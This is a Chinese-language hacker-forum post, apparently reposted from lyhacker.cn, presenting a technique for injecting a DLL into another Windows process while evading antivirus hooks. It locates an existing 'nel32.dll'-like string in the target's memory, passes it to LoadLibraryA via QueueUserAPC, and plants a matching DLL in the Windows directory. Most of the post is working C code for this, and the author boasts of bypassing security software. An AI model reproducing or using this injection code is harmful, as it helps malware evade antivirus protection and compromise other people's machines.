繞過主動防御的代碼注入
繞過主動防御的代碼注入
目前大多數的殺軟都是hook NtWriteVirtualMemory和NtUserSetWindowsHookAW、NtUserSetWindowsHookE來防止代碼注入。
關于代碼注入Ring3層的方法主要有：
l 遠程線程CreateRemoteThread
l 消息鉤子SetWindowsHookEx
l Ring3 APC QueueUserApc
l 修改線程上下文SetContextThread
其中第一種和第三種方法需要傳入一個param，但是要求這個param必須在目標進程內存空間，之前的一些方法比較笨重，直接在目標進程VirtualAllocEx內存，然后把希望的參數內容寫入這個內存，使用了WriteProcessMemory函數，而這個函數是被hook的，所以殺軟可以很容易的攔截代碼注入行為。
仔細想想，殺軟的這種防御是很失敗的！原因是為了要一個param，攻擊者完全沒有必要做這么大的動作去目標進程內存空間申請內存并寫內存，我在思考是否可以不用WriteProcessMemory函數呢？反正我的目的就是得到一個合理的param，并且這個param是在目標進程內存空間即可！
思考后，原來一切是這么容易啊，哈哈！樂了我半天~~~
舉個例子：假設我是這樣注入的：
QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)param) ;
我想讓上面的param的內容是一個“xxx.dll”,就可以了，而且要求這個param是在目標進程內存空間
您想到了么？哈哈
答案：直接在目標進程搜索一個這樣的字符串“nel32.dll”就可以啦！因為“kernel32.dll” 這樣的字符串是一定存在的，那么為了和“kernel32.dll” 不一樣，那就隨便使用一下“nel32.dll”，或者“el32.dll”，都是可以的??！最后在往windows目錄下面撂進入一個nel32.dll，這樣注入大部分殺軟都是不能攔截到的！哈哈！
寫了段程序，做了個試驗，僅測試了下趨勢，完美繞過！其實殺軟稍后測試。。。
DWORD EnumThreadandInjectDll(char *processName,HANDLE hProcess, DWORD dwProcessID,TIDLIST *pThreadIdList)
{
TIDLIST *pCurrentTid = pThreadIdList ;
const char szInjectModName[] = "nel32.dll";
DWORD dwLen = strlen(szInjectModName) ;
//////////////////////////////////////////////////////////////////////////
//不寫目標進程的內存
//直接在目標進程中搜索出 nel32.dll 這樣的字符串 并注入
//////////////////////////////////////////////////////////////////////////
int bufflen=30000;
char *buffer=(char *)malloc(sizeof(char)*bufflen);
DWORD dwNumberOfBytesRead;
DWORD defaultAddress;
//獲得該進程的基址
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessID) ;
if(!hSnapshot)
{
?? printf("CreateToolhelp32Snapshot error!\n");
?? return 0;
}
MODULEENTRY32 me = { sizeof(me) };
???? BOOL fOk =Module32First(hSnapshot,&me);
if(!fOk)
{
?? printf("Module32First error!\n");
?? return 0;
}
???? for (; fOk; fOk = Module32Next(hSnapshot,&me))
???? {
?? printf("%s process module name = %s\n",processName,me.szModule);
???????? // 取得進程模塊基址
?? if(stricmp(me.szModule,processName)==0)
?? {
???? defaultAddress=(DWORD)me.modBaseAddr;
???? printf("%s process module base = 0x%08X\n",processName,defaultAddress);
???? break;
?? }
???? }
//搜索
if(!ReadProcessMemory(hProcess,(LPCVOID)defaultAddress,buffer,bufflen,&dwNumberOfBytesRead))
{
?? printf("ReadProcessMemory error!\n");
?? return 0;
}
for(int i=0;i<bufflen-dwLen;i++)
{
?? if(strnicmp(buffer+i,szInjectModName,dwLen)==0)
?? {
???? printf("found nel32.dll already!... %s\n",buffer+i);
???? while (pCurrentTid)
???? {
???? HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pCurrentTid->dwTid) ;
???
???? if (hThread != NULL)
???? {
?????? //
?????? // 注入DLL到指定進程
?????? //
?????? QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)(defaultAddress+i)) ;
???? }
???
???? printf("TID:%d\n", pCurrentTid->dwTid) ;
???? pCurrentTid = pCurrentTid->pNext ;
???? }
???? break;
?? }
}
return 0 ;
}
標題：繞過主動防御的代碼注入 文章來自【獵鷹基地-全國最大的網絡安全技術論壇】 地址:http://www.lyhacker.cn/bbs,原文地址:http://www.lyhacker.cn/bbs/read-htm-tid-2114.html